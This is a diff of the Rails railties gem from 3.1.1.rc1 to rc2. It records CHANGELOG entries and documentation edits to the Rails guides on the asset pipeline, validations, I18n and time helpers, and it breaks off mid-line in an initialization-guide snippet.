railties 3.1.1.rc1 → 3.1.1.rc2

Sign up to get free protection for your applications and to get access to all the features.
data/CHANGELOG CHANGED
@@ -1,6 +1,14 @@
1
1
  *Rails 3.1.1 (unreleased)*
2
2
 
3
- * No changes
3
+ * Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. [Santiago Pastorino]
4
+
5
+ * `rake assets:precompile` loads the application but does not initialize it.
6
+
7
+ To the app developer, this means configuration add in
8
+ config/initializers/* will not be executed.
9
+
10
+ Plugins developers need to special case their initializers that are
11
+ meant to be run in the assets group by adding :group => :assets.
4
12
 
5
13
 
6
14
  *Rails 3.1.0 (August 30, 2011)*
@@ -822,7 +822,7 @@ h5. select_year
822
822
  Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
823
823
 
824
824
  <ruby>
825
- # Generates a select field for five years on either side of +Date.today+ that defaults to the current year
825
+ # Generates a select field for five years on either side of Date.today that defaults to the current year
826
826
  select_year(Date.today)
827
827
 
828
828
  # Generates a select field from 1900 to 2009 that defaults to the current year
@@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default,
328
328
  If you set +:only_integer+ to +true+, then it will use the
329
329
 
330
330
  <ruby>
331
- /\A[+-]?\d+\Z/
331
+ /\A[<plus>-]?\d<plus>\Z/
332
332
  </ruby>
333
333
 
334
334
  regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
@@ -597,7 +597,7 @@ The easiest way to add custom validators for validating individual attributes is
597
597
  <ruby>
598
598
  class EmailValidator < ActiveModel::EachValidator
599
599
  def validate_each(record, attribute, value)
600
- unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
600
+ unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
601
601
  record.errors[attribute] << (options[:message] || "is not an email")
602
602
  end
603
603
  end
@@ -294,7 +294,7 @@ This method escapes whatever is needed, both for the key and the value:
294
294
 
295
295
  <ruby>
296
296
  account.to_query('company[name]')
297
- # => "company%5Bname%5D=Johnson+%26+Johnson"
297
+ # => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
298
298
  </ruby>
299
299
 
300
300
  so its output is ready to be used in a query string.
@@ -3381,7 +3381,7 @@ They are analogous. Please refer to their documentation above and take into acco
3381
3381
  Time.zone_default
3382
3382
  # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
3383
3383
 
3384
- # In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
3384
+ # In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
3385
3385
  t = Time.local_time(2010, 3, 28, 1, 59, 59)
3386
3386
  # => Sun Mar 28 01:59:59 +0100 2010
3387
3387
  t.advance(:seconds => 1)
@@ -3404,7 +3404,7 @@ The method +all_day+ returns a range representing the whole day of the current t
3404
3404
  now = Time.current
3405
3405
  # => Mon, 09 Aug 2010 23:20:05 UTC +00:00
3406
3406
  now.all_day
3407
- # => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
3407
+ # => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
3408
3408
  </ruby>
3409
3409
 
3410
3410
  Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.
@@ -3413,13 +3413,13 @@ Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the
3413
3413
  now = Time.current
3414
3414
  # => Mon, 09 Aug 2010 23:20:05 UTC +00:00
3415
3415
  now.all_week
3416
- # => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
3416
+ # => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
3417
3417
  now.all_month
3418
- # => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
3418
+ # => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
3419
3419
  now.all_quarter
3420
- # => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
3420
+ # => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
3421
3421
  now.all_year
3422
- # => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
3422
+ # => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
3423
3423
  </ruby>
3424
3424
 
3425
3425
  h4. Time Constructors
@@ -109,7 +109,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet
109
109
  link_to_remote "Update record",
110
110
  :url => record_url(record),
111
111
  :method => :put,
112
- :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')"
112
+ :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
113
113
  </ruby>
114
114
 
115
115
  This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
@@ -129,6 +129,7 @@ link_to_remote "Add new item",
129
129
  404 => "alert('Item not found!')"
130
130
  </ruby>
131
131
  Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
132
+
132
133
  <ruby>
133
134
  link_to_remote "Add new item",
134
135
  :url => items_url,
@@ -138,6 +139,7 @@ link_to_remote "Add new item",
138
139
  :success => "display_item_added(request)",
139
140
  :failure => "display_error(request)"
140
141
  </ruby>
142
+
141
143
  ** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
142
144
  * Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
143
145
  ** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
@@ -147,7 +147,7 @@ h3. Description Lists
147
147
  In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
148
148
 
149
149
  <ruby>
150
- # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
150
+ # * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
151
151
  </ruby>
152
152
 
153
153
  The description starts in upper case and ends with a full stop—it's standard English.
@@ -17,12 +17,18 @@ The asset pipeline provides a framework to concatenate and minify or compress Ja
17
17
 
18
18
  Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default.
19
19
 
20
- By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "Fast by default" strategy as outlined by DHH in his 2011 keynote at Railsconf.
20
+ By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
21
21
 
22
- In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +application.rb+ by putting this line inside the +Application+ class definition:
22
+ In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition:
23
23
 
24
- <plain>
24
+ <ruby>
25
25
  config.assets.enabled = false
26
+ </ruby>
27
+
28
+ You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option.
29
+
30
+ <plain>
31
+ rails new appname --skip-sprockets
26
32
  </plain>
27
33
 
28
34
  It is recommended that you use the defaults for all new apps.
@@ -30,7 +36,9 @@ It is recommended that you use the defaults for all new apps.
30
36
 
31
37
  h4. Main Features
32
38
 
33
- The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page. While Rails already has a feature to concatenate these types of assets -- by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+ -- many people do not use it.
39
+ The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page.
40
+
41
+ While Rails already has a feature to concatenate these types of assets -- by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+ --, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
34
42
 
35
43
  The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered.
36
44
 
@@ -40,14 +48,14 @@ The third feature is the ability to code these assets using another language, or
40
48
 
41
49
  h4. What is Fingerprinting and Why Should I Care?
42
50
 
43
- Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated is altered to be unique to the content contained in the file.
51
+ Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file.
44
52
 
45
- When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cachebusting_.
53
+ When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_.
46
54
 
47
- The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the hash.
55
+ The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming:
48
56
 
49
57
  <plain>
50
- global.css => global-908e25f4bf641868d8683022a5b62f54.css
58
+ global-908e25f4bf641868d8683022a5b62f54.css
51
59
  </plain>
52
60
 
53
61
  This is the strategy adopted by the Rails asset pipeline.
@@ -62,8 +70,8 @@ This has several disadvantages:
62
70
 
63
71
  <ol>
64
72
  <li>
65
- <strong>Not all caches will cache content with a query string</strong><br>
66
- "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached.
73
+ <strong>Not all caches will cache content with a query string</strong>.<br>
74
+ "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
67
75
  </li>
68
76
  <li>
69
77
  <strong>The file name can change between nodes in multi-server environments.</strong><br>
@@ -71,9 +79,9 @@ This has several disadvantages:
71
79
  </li>
72
80
  </ol>
73
81
 
74
- The other problem is that when static assets are deployed with each new release of code, the mtime of *all* these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
82
+ The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
75
83
 
76
- Fingerprinting avoids all these problems by ensuring filenames are consistent based on their content.
84
+ Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content.
77
85
 
78
86
  Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option.
79
87
 
@@ -89,7 +97,7 @@ In previous versions of Rails, all assets were located in subdirectories of +pub
89
97
 
90
98
  This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served.
91
99
 
92
- In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the webserver.
100
+ In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server.
93
101
 
94
102
  When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller.
95
103
 
@@ -109,11 +117,11 @@ Assets can be placed inside an application in one of three locations: +app/asset
109
117
 
110
118
  All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served.
111
119
 
112
- You can add additional (fully qualified) paths to the pipeline in +application.rb+. For example:
120
+ You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example:
113
121
 
114
- <erb>
115
- config.assets.paths << File.join(Rails.root, 'app', 'assets', 'flash')
116
- </erb>
122
+ <ruby>
123
+ config.assets.paths << "#{Rails.root}/app/assets/flash"
124
+ </ruby>
117
125
 
118
126
  h4. Coding Links to Assets
119
127
 
@@ -144,7 +152,7 @@ Images can also be organized into subdirectories if required, and they can be ac
144
152
 
145
153
  h5. CSS and ERB
146
154
 
147
- If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then you can use the +asset_path+ helper in your CSS rules:
155
+ If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules:
148
156
 
149
157
  <plain>
150
158
  .class { background-image: url(<%= asset_path 'image.png' %>) }
@@ -152,7 +160,7 @@ If you add an +erb+ extension to a CSS asset, making it something such as +appli
152
160
 
153
161
  This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced.
154
162
 
155
- If you want to use a "css data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper.
163
+ If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper.
156
164
 
157
165
  <plain>
158
166
  #logo { background: url(<%= asset_data_uri 'logo.png' %>) }
@@ -164,41 +172,42 @@ Note that the closing tag cannot be of the style +-%>+.
164
172
 
165
173
  h5. CSS and Sass
166
174
 
167
- When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +_url+ and +_path+ helpers for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
175
+ When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
168
176
 
169
- * +image_url("rails.png")+ becomes +url(/assets/rails.png)+.
170
- * +image_path("rails.png")+ becomes +"/assets/rails.png"+.
177
+ * +image-url("rails.png")+ becomes +url(/assets/rails.png)+
178
+ * +image-path("rails.png")+ becomes +"/assets/rails.png"+.
171
179
 
172
180
  The more generic form can also be used but the asset path and class must both be specified:
173
181
 
174
- * +asset_url("rails.png", image)+ becomes +url(/assets/rails.png)+.
175
- * +asset_path("rails.png", image)+ becomes +"/assets/rails.png"+.
182
+ * +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+
183
+ * +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+
176
184
 
177
185
  h5. JavaScript/CoffeeScript and ERB
178
186
 
179
187
  If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code:
180
188
 
181
- <plain>
189
+ <erb>
182
190
  $('#logo').attr({
183
191
  src: "<%= asset_path('logo.png') %>"
184
192
  });
185
- </plain>
193
+ </erb>
186
194
 
187
195
  This writes the path to the particular asset being referenced.
188
196
 
189
- Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. application.js.coffee.erb):
197
+ Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+):
190
198
 
191
199
  <plain>
192
- $('#logo').attr src: "<% asset_path('logo.png') %>"
200
+ $('#logo').attr src: "<%= asset_path('logo.png') %>"
193
201
  </plain>
194
202
 
195
203
  h4. Manifest Files and Directives
196
204
 
197
- Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is set to +true+). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make.
205
+ Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make.
198
206
 
199
207
  For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines:
200
208
 
201
209
  <plain>
210
+ // ...
202
211
  //= require jquery
203
212
  //= require jquery_ujs
204
213
  //= require_tree .
@@ -206,9 +215,11 @@ For example, in the default Rails application there's a +app/assets/javascripts/
206
215
 
207
216
  In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file.
208
217
 
209
- NOTE. In Rails 3.1, the +jquery.js+ and +jquery_ujs.js+ files are located inside the +vendor/assets/javascripts+ directory contained within the +jquery-rails+ gem.
218
+ NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree.
219
+
220
+ The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting).
210
221
 
211
- The +require_tree .+ directive tells Sprockets to include _all_ JavaScript files in this directory into the output. Only a path relative to the file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting).
222
+ Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output.
212
223
 
213
224
  There's also a default +app/assets/stylesheets/application.css+ file which contains these lines:
214
225
 
@@ -225,7 +236,7 @@ In this example +require_self+ is used. This puts the CSS contained within the f
225
236
 
226
237
  You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application.
227
238
 
228
- For some assets (like CSS) the compiled order is important. You can specify individual files and they are compiled in the order specified:
239
+ The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified:
229
240
 
230
241
  <plain>
231
242
  /* ...
@@ -238,19 +249,19 @@ For some assets (like CSS) the compiled order is important. You can specify indi
238
249
 
239
250
  h4. Preprocessing
240
251
 
241
- The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and a +app/assets/stylesheets/projects.css.scss+ file.
252
+ The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file.
242
253
 
243
254
  When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively.
244
255
 
245
- Additional layers of pre-processing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript and served as JavaScript.
256
+ Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript.
246
257
 
247
- Keep in mind that the order of these pre-processors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it is processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
258
+ Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
248
259
 
249
260
  h3. In Development
250
261
 
251
262
  In development mode assets are served as separate files in the order they are specified in the manifest file.
252
263
 
253
- This manifest +application.js+:
264
+ This manifest +app/assets/javascripts/application.js+:
254
265
 
255
266
  <plain>
256
267
  //= require core
@@ -261,45 +272,42 @@ This manifest +application.js+:
261
272
  would generate this HTML:
262
273
 
263
274
  <html>
264
- <script src='/assets/core.js?body=1'></script>
265
- <script src='/assets/projects.js?body=1'></script>
266
- <script src='/assets/tickets.js?body=1'></script>
275
+ <script src="/assets/core.js?body=1" type="text/javascript"></script>
276
+ <script src="/assets/projects.js?body=1" type="text/javascript"></script>
277
+ <script src="/assets/tickets.js?body=1" type="text/javascript"></script>
267
278
  </html>
268
279
 
269
280
  The +body+ param is required by Sprockets.
270
281
 
271
282
  h4. Turning Debugging off
272
283
 
273
- You can turn off debug mode by updating +development.rb+ to include:
284
+ You can turn off debug mode by updating +config/environments/development.rb+ to include:
274
285
 
275
- <erb>
286
+ <ruby>
276
287
  config.assets.debug = false
277
- </erb>
288
+ </ruby>
278
289
 
279
- When debug mode is off Sprockets will concatenate and run the necessary preprocessors on all files, generating the following HTML:
290
+ When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
280
291
 
281
292
  <html>
282
- <script src='/assets/application.js'></script>
293
+ <script src="/assets/application.js" type="text/javascript"></script>
283
294
  </html>
284
295
 
285
- Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (not-modified) response.
296
+ Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response.
286
297
 
287
298
  If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
288
299
 
289
- You can put +?debug_assets=true+ or +?debug_assets=1+ at the end of a URL to enable debug mode on-demand, and this will render individual tags for each file. This is useful for tracking down exact line numbers when debugging.
290
-
291
- Debug can also be set in the Rails helper methods:
300
+ Debug mode can also be enabled in the Rails helper methods:
292
301
 
293
302
  <erb>
294
303
  <%= stylesheet_link_tag "application", :debug => true %>
295
304
  <%= javascript_include_tag "application", :debug => true %>
296
305
  </erb>
297
306
 
298
- The +:debug+ option is ignored if the debug mode is off.
307
+ The +:debug+ option is redundant if debug mode is on.
299
308
 
300
309
  You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
301
310
 
302
-
303
311
  h3. In Production
304
312
 
305
313
  In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server.
@@ -353,7 +361,7 @@ NOTE. If you are precompiling your assets locally, you can use +bundle install -
353
361
  The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+:
354
362
 
355
363
  <ruby>
356
- [ /\w+\.(?!js|css).+/, /application.(css|js)$/ ]
364
+ [ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ]
357
365
  </ruby>
358
366
 
359
367
  If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
@@ -630,3 +638,22 @@ group :assets do
630
638
  gem 'uglifier'
631
639
  end
632
640
  </plain>
641
+
642
+ If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement.
643
+
644
+ <ruby>
645
+ if defined?(Bundler)
646
+ # If you precompile assets before deploying to production, use this line
647
+ Bundler.require *Rails.groups(:assets => %w(development test))
648
+ # If you want your assets lazily compiled in production, use this line
649
+ # Bundler.require(:default, :assets, Rails.env)
650
+ end
651
+ </ruby>
652
+
653
+ Instead of the old Rails 3.0 one
654
+
655
+ <ruby>
656
+ # If you have a Gemfile, require the gems listed there, including any gems
657
+ # you've limited to :test, :development, or :production.
658
+ Bundler.require(:default, Rails.env) if defined?(Bundler)
659
+ </ruby>
@@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor
91
91
 
92
92
  The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
93
93
 
94
- NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
94
+ NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
95
95
 
96
96
  The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
97
97
 
@@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files.
365
365
 
366
366
  You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
367
367
 
368
+ h4. Passing variables to translations
369
+
370
+ You can use variables in the translation messages and pass their values from the view.
371
+
372
+ <ruby>
373
+ # app/views/home/index.html.erb
374
+ <%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
375
+
376
+ # config/locales/en.yml
377
+ en:
378
+ greet_username: "%{message}, %{user}!"
379
+ </ruby>
380
+
368
381
  h4. Adding Date/Time Formats
369
382
 
370
383
  OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
@@ -448,6 +461,7 @@ Covered are features like these:
448
461
  * looking up translations
449
462
  * interpolating data into translations
450
463
  * pluralizing translations
464
+ * using safe HTML translations
451
465
  * localizing dates, numbers, currency, etc.
452
466
 
453
467
  h4. Looking up Translations
@@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The
599
613
  I18n.default_locale = :de
600
614
  </ruby>
601
615
 
616
+ h4. Using Safe HTML Translations
617
+
618
+ Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
619
+
620
+ <ruby>
621
+ # config/locales/en.yml
622
+ en:
623
+ welcome: <b>welcome!</b>
624
+ hello_html: <b>hello!</b>
625
+ title:
626
+ html: <b>title!</b>
627
+
628
+ # app/views/home/index.html.erb
629
+ <div><%= t('welcome') %></div>
630
+ <div><%= raw t('welcome') %></div>
631
+ <div><%= t('hello_html') %></div>
632
+ <div><%= t('title.html') %></div>
633
+ </ruby>
634
+
635
+ !images/i18n/demo_html_safe.png(i18n demo html safe)!
636
+
602
637
  h3. How to Store your Custom Translations
603
638
 
604
639
  The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
@@ -450,11 +450,11 @@ run YourApp::Application
450
450
  The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:
451
451
 
452
452
  <ruby>
453
- app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
453
+ app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
454
454
